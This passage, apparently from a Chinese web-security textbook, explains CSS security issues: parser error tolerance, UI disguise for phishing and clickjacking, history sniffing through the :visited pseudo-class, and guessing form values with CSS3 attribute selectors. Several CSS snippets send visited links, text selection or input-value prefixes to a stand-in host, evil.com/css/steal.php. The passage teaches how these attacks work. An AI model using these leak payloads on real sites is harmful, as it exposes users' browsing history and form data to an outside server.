Question

CSS即层叠样式表，用于控制网页的呈现样式，如颜色、字体、大小、高宽、透明、偏移、布局等，通过灵活运用CSS技巧，攻击者可以伪装出期望的网页效果，从而进行钓鱼攻击。下面介绍CSS的一些性质，这些性质带来的安全风险不仅是伪装攻击。

2.6.1　CSS容错性

CSS具有非常高的容错性，比如，如下代码：

<link rel="stylesheet" href="test.html">
<!--和后缀无关-->
<h1>xxxx</h1>
<h2>yyyy</h2>

test.html的代码如下：

h1{
  font-size:50px;
  color:red;
</style>
<div>xxxx</div>
}
h2{
  color:green;
}

h1的样式块里出现了非法的字符串，但是并不影响h2样式块的解析，h1与h2的样式都正常生效了，如果在h1之前有大段非法字符，如何保证h1的代码顺利解析？可以这样：

<title>1</title>
...
<div>...</div>
{}
h1{
  font-size:50px;
  color:red;
</style>
<div>xxxx</div>
}
h2{
  color:green;
}

在h1之前加上{}即可，如果是在IE下，加上}即可，这是浏览器解析差异导致的。

2.6.2　样式伪装

在高级钓鱼攻击中，我们强调的是原生态，伪装出来的UI效果应该让人感觉就是真的。本书的ClickJacking攻击、通过XSS的高级钓鱼攻击等都需要CSS的灵活运用。

2.6.3　CSS伪类

比如，<a>标签的4个伪类如表2-3所示。

表2-3　<a>标签的4个伪类

伪类描述

· :link有链接属性时

· :visited链接被访问过

· :active点击激活时

· :hover鼠标移过时

曾经出现比较久的CSS History攻击利用的就是:visited伪类技巧进行的，原理很简单，就是准备一批常用的链接，然后批量生成如下形式：

<a href="http://www.baidu.com/" 
id="a1">http://www.baidu.com/</a><br />
<a href="http://www.17173.com/" 
id="a2">http://www.17173.com/</a><br />
<a href="http://www.joy.cn/" 
id="a3">http://www.joy.cn/</a><br />
<a href="http://www.qq.com/" 
id="a4">http://www.qq.com/</a><br />
<a href="http://www.rayli.com.cn/" 
id="a5">http://www.rayli.com.cn/</a><br />

并针对id设置对应的:visited样式，语句如下：

#a1:visited {background: 
url(http://www.evil.com/css/steal.php?
data=a1);}
#a2:visited {background: 
url(http://www.evil.com/css/steal.php?
data=a2);}
#a3:visited {background: 
url(http://www.evil.com/css/steal.php?
data=a3);}
#a4:visited {background: 
url(http://www.evil.com/css/steal.php?
data=a4);}
#a5:visited {background: 
url(http://www.evil.com/css/steal.php?
data=a5);}

如果其中的某链接之前访问过（也就是存在于历史记录中的），那么:visited就会触发，随后会发送一个唯一的请求到目标地址，这样就可以知道被攻击者的历史记录是否有这个链接，不过这个方式已经被浏览器修补了。但还有一些伪类是有效的，比如::selection伪类，当指定对象区域被选择时，就会触发::selection，这个在Chrome下有效，代码如下：

<style>
#select{border:1px dashed #09c;}
#select::selection{background: 
url(http://www.evil.com/css/steal.php? 
data=selection);}
</style>
<div id="select">select me</div>

这个有何危害？

2.6.4　CSS3的属性选择符

CSS3增加了属性选择符，利用属性选择符可以通过纯CSS猜测出目标input表单项的具体值，表2-4列出了CSS3属性选择符。

表2-4　CSS3属性选择符

看一个简单的样例，判断目标input表单项的值是否以x开头，如果是，则会触发一次唯一性请求（这个属性选择符目前在IE 9下仍无效）：

<style>
input[value^="x"]{
  background: url(http://www.evil.com/css/steal.php?data=0x);
}
</style>
attr selector: <input type="text" value="xyz" /><br />
[ok] ff12/chrome19/opera12<br /><br />

如果value的值是ASCII码，要猜测出是x打头的，则最多需要请求127次。然后继续猜测第2个字符、第3个字符。这种技巧没有实战价值，不过其思路非常值得我们学习，它最早是由GarethHeyes等于2008年在微软内部安全会议BlueHat上提出的，这种攻击完全不需要JavaScript的参与。

CSS还可以内嵌脚本执行，有关这部分更详细的知识，可以查看第6章相关的内容。